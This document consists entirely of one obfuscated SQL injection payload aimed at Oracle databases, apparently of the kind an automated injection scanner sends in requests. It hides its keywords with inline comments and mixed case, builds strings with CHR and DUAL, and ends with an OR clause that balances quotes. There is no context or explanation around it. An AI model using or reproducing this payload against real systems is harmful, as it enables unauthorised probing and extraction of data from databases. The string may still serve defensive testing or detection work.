1'AND/**/4897=(SELECt/**/uPper(ChR(126)||%27~%27||(seLEct/**/(CasE/**/WhEn/**/(4897=4897)/**/ThEN/**/1/**/eLsE/**/0/**/EnD)/**/FRom/**/DUaL)||%27~%27||cHr(126))/**/FroM/**/DUAL/**/wHeRe/**/dBms_RaNdoM.VALue(5097,7781)=4768) OR 'k6bTcKDB'='0SwcFdCT